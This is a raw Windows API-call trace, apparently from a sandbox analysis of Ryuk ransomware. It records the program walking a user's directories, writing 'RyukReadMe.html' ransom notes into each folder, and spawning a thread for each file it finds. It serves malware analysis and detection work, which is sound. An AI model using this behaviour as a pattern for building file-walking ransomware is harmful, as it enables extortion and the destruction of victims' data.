	[0245.068] GetLastError () returned 0x0
	[0245.068] WriteFile (in: hFile=0x290, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193868, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193868*=0x273, lpOverlapped=0x0) returned 1
	[0245.070] CloseHandle (hObject=0x290) returned 1
	[0245.080] FindNextFileW (in: hFindFile=0x3ef490, lpFindFileData=0x193920 | out: lpFindFileData=0x193920*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
	[0245.080] SetLastError (dwErrCode=0x0) 
	[0245.080] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.080] GetLastError () returned 0x20
	[0245.080] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193868, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x193868, lpOverlapped=0x0) returned 0
	[0245.080] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.080] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef0d0
	[0245.081] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.081] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1
	[0245.081] SetLastError (dwErrCode=0x0) 
	[0245.081] CreateFileW (lpFileName="C:\\Documents and Settings\\RyukReadMe.html" (normalized: "c:\\documents and settings\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8
	[0245.082] GetLastError () returned 0x0
	[0245.082] WriteFile (in: hFile=0x3a8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0245.084] CloseHandle (hObject=0x3a8) returned 1
	[0245.085] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0245.085] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.085] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1
	[0245.085] SetLastError (dwErrCode=0x0) 
	[0245.085] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390
	[0245.086] GetLastError () returned 0x0
	[0245.086] WriteFile (in: hFile=0x390, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x192a08, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x192a08*=0x273, lpOverlapped=0x0) returned 1
	[0245.088] CloseHandle (hObject=0x390) returned 1
	[0245.088] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\*.*", lpFindFileData=0x192390 | out: lpFindFileData=0x192390*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef610
	[0245.088] FindNextFileW (in: hFindFile=0x3ef610, lpFindFileData=0x192390 | out: lpFindFileData=0x192390*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.088] FindNextFileW (in: hFindFile=0x3ef610, lpFindFileData=0x192390 | out: lpFindFileData=0x192390*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1
	[0245.089] SetLastError (dwErrCode=0x0) 
	[0245.089] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x238
	[0245.089] GetLastError () returned 0x0
	[0245.089] WriteFile (in: hFile=0x238, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x1922d8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x1922d8*=0x273, lpOverlapped=0x0) returned 1
	[0245.091] CloseHandle (hObject=0x238) returned 1
	[0245.092] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*.*", lpFindFileData=0x191c60 | out: lpFindFileData=0x191c60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef2b0
	[0245.092] FindNextFileW (in: hFindFile=0x3ef2b0, lpFindFileData=0x191c60 | out: lpFindFileData=0x191c60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.092] FindNextFileW (in: hFindFile=0x3ef2b0, lpFindFileData=0x191c60 | out: lpFindFileData=0x191c60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8c, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0245.092] SetLastError (dwErrCode=0x0) 
	[0245.092] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c
	[0245.093] GetLastError () returned 0x0
	[0245.093] WriteFile (in: hFile=0x32c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x191ba8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x191ba8*=0x273, lpOverlapped=0x0) returned 1
	[0245.095] CloseHandle (hObject=0x32c) returned 1
	[0245.095] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*.*", lpFindFileData=0x191530 | out: lpFindFileData=0x191530*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x98, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef5b0
	[0245.095] FindNextFileW (in: hFindFile=0x3ef5b0, lpFindFileData=0x191530 | out: lpFindFileData=0x191530*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x98, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.096] FindNextFileW (in: hFindFile=0x3ef5b0, lpFindFileData=0x191530 | out: lpFindFileData=0x191530*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x98, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0245.096] SetLastError (dwErrCode=0x0) 
	[0245.096] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0245.096] GetLastError () returned 0x0
	[0245.096] WriteFile (in: hFile=0x1b4, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x191478, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x191478*=0x273, lpOverlapped=0x0) returned 1
	[0245.098] CloseHandle (hObject=0x1b4) returned 1
	[0245.098] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*.*", lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef670
	[0245.099] FindNextFileW (in: hFindFile=0x3ef670, lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.099] FindNextFileW (in: hFindFile=0x3ef670, lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0245.099] SetLastError (dwErrCode=0x0) 
	[0245.099] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a4
	[0245.099] GetLastError () returned 0x0
	[0245.099] WriteFile (in: hFile=0x3a4, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x190d48, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x190d48*=0x273, lpOverlapped=0x0) returned 1
	[0245.101] CloseHandle (hObject=0x3a4) returned 1
	[0245.102] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef6d0
	[0245.104] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.104] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0xb4, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1
	[0245.104] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288
	[0245.106] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.107] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0xb4, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1
	[0245.107] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x160
	[0245.109] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.110] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb4, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0245.110] SetLastError (dwErrCode=0x0) 
	[0245.110] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x354
	[0245.110] GetLastError () returned 0x0
	[0245.110] WriteFile (in: hFile=0x354, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x190618, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x190618*=0x273, lpOverlapped=0x0) returned 1
	[0245.112] CloseHandle (hObject=0x354) returned 1
	[0245.113] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef730
	[0245.238] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.238] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0xbe, dwReserved1=0x0, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1
	[0245.238] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388
	[0245.241] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.241] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0xbe, dwReserved1=0x0, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 0
	[0245.241] FindClose (in: hFindFile=0x3ef730 | out: hFindFile=0x3ef730) returned 1
	[0245.241] SetLastError (dwErrCode=0x0) 
	[0245.242] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x354
	[0245.242] GetLastError () returned 0x0
	[0245.242] WriteFile (in: hFile=0x354, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x190618, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x190618*=0x273, lpOverlapped=0x0) returned 1
	[0245.244] CloseHandle (hObject=0x354) returned 1
	[0245.244] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0xb4, dwReserved1=0x0, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1
	[0245.244] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354
	[0245.246] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
